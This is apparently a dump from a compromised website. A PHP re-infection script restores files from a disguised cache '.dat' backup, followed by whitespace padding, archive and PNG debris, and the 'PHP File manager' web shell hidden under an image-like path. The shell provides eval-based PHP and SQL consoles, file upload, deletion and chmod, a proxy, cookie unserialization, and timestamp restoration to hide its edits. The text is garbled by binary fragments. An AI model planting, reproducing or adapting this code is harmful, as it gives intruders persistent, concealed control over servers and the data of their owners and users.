$rootHop = '../../..';
$siteRoot = ($rootHop === '' || $rootHop === '.') ? $myDir : $myDir . '/' . $rootHop;
$backupFile = $siteRoot . '/templates/cache/data/82a3968585a485ae93950bf7ce89f24b.dat';
if (!@file_exists($backupFile)) {
    http_response_code(404);
    echo '0';
    exit;
}
$json = @file_get_contents($backupFile);
if (!$json) {
    echo '0';
    exit;
}
$backup = @json_decode($json, true);
if (!$backup || !isset($backup['files'])) {
    echo '0';
    exit;
}
$restored = 0;
foreach ($backup['files'] as $file => $data) {
    $path = $siteRoot . '/' . $file;
    if (!file_exists($path) || md5_file($path) !== $data['md5']) {
        $content = base64_decode($data['content']);
        if (@file_put_contents($path, $content) !== false) {
            $restored++;
        }
    }
}
echo '1';
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PK     S]Z: @  @   index.php.tarnu [        home/www/zeuportail/assets/static/modules/364262/index.php                                          0000644                 00000234415 15243236737 0017372 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ‰PNG

   
IHDR  6   £   7¾Âß  PLTEÿÿÿL‹õïïïåååLŒõOŽõÜÜÜRõI‰ôÙÙÙçççáááJ‰ñÞÞÞDU¶Oò6€ö©Çüb|‰ÕÕ×e÷÷÷ÒÒÖÛåð^w‡„«ôÍÍÓ^•óöôïEnÓBP°ÇÈÐDV´>…õpŠ•ÂÃÎüùîÊ×ñÃÇÉš¨°±óPo{~¦óZw…\tˆ>P³m öc˜ó°Æòäéï»Íñ«³¸2F³Yf¸ó÷ýŸ¾øÕáûéðýÚåûØÙá¢°Ôwœæ°ºÕÀÑñ‡¦å’©ßº¾ÏŸ¯Ú—¶óPt¢PƒÔ^r|t‡pƒ”}š„¢äMi“¡©—¤ª¬±½Mr¢ÕÏÉ¡¦Æ™Ñ’˜Â}„¿oy»½ÁÞhuÂ¨«Å–š¿þ­)€  (IDATxœíÝ
[ÚÈ p"&bEA gÓDQ«-½¸­v÷”êzzv{¶ÝïÿAÎÜ’L’É¥ä™$ÿgût­í®ù=ï;—db
…<yòäÉ“'Ož”äêæú¸õÄ^%ýÕ'•³‰ZÚZ(NÀqÒ_~2y=V+‘	!ì\%}Iäõd+Z-Œ
d±K¯b©…±md±K·ct(J) ¤K“¾†Õçªó,5Â¦f¯KÏŸWlÄ-ƒ]ÚŠ5²…³e°KÇË`S2×¥“Xj!lØ
\'}«N<¶52¸e®K—Â¶fI_ÇŠo±Æ–É.Åª–É.][æºt	l¤K·“¾Õ&[„éÒIÒ²Ú,ƒ”Ûë¤¯d¥‰Á©FØÎ’¾’•&š-MU³7—.…
—ÌÔ­ñH¶è¥lÙêÒ(¶8j´KÇI_Ê*Á­f±mÁiÒ×²Â,‡téyÒ×²Â„³ÅP#l¤K I_Ë
Æ ªárÛ {I_ÌêÂKÍaËT—³-¢ÆºtÏëáû>Ü'd*Ö@¶xj6.7¥Ûm¿yóF¯V«E”u.Þ]Ÿ A¬%­;l1Ñl5ºQxËÜt,W-ÆI•OQ8![\4Žté»>q{2ú3’¸	Øâ£qjô€\·kšíç°Éâæe[ÀÌÏßš(
Ë,t(
$”bfp±-fæR#_Z»]/©E@¶õ¤Iâ¤ƒŠ$ÒK¨¡j¨äs[X¹ÉPn˜m+ÔÂÎñÙÍl6;<¿ƒcƒï	[£»Ú}*ÃèÁ¦Ô7k=ÃXÃ1ŒžÑ¼ƒP
RC]Ú&lúúÓÙdèÒP6ÞM{”ÌŽaœW`€šªTpµ5P´˜n‚i¡˜´IŒ„±ÁÁÔcÆà¶QÁ‰Ô¬.ÅnåXÅ–>6ÞˆÐ\³Ø~m°.­ë™dS*ÂR³àZb7¥Cæ4)`·mš26elFê
w©é¸EÂ¥‹Mõ¨8Ü‡³ 5Ô¥m›­®G/CÒÅV™òfkÍÃ³í³óÙÔZ‰ª‘.¥nx|+G¹yÕ¤f«€™SZÆôzB7	°48Ä¿nª¡¥Û{êFØp½e‡
l÷œJ»Öú¶¤*pÜ4BÕTøÁìb·s[¬G¥f›Øµf4éÚÖ™*àÍM-D
uiŸÜ>Šç–&6xh±áÂòN `ÉfwéGÊË-ElêØVkúÕ"ƒ»´Ëº±i¡nR³¹o9»ã	jª2qwiX½ùÔ¤bsËT¬­7PW£]ÚuØ´z©IÊŽ­b›Á§¨¡.íÚ]JªMÓ‚ÜRÄfO½±ú5Ö¥ÖŠ—°iÕÔ³{ƒPãY©‰"œUÙ\Ú°ÊM«÷ûýFch““MíXóÁ9ß£Ê`Úôg*º¢À[÷œ õO†ÃáÊAzÙ¬GcnBPÁÀÞ8ð»Õ3Á†A¬K96D¶‹’^6{FèMì¡
7žmM°ÏRÅZñºØv|l~5‰Ùî,¶ŠƒÈæ¿í†Ôh—:ûÆ¶“
¶’ÊMŸqÙ°šÆ¦ˆÍ;¶¥Ší˜¯6gv\„M®9!€M &/›Òr–mü¢"USÈa{åæ°íVÓÊfoä;àf3¸L	LMïúB¶~Ý›*¶R%€„ßï[Kb´¶©¡rkX›+´EÐ6]/Zÿyá–A^6Ød×Õ
¾©Xy
…j
sd<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>-("png")-</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
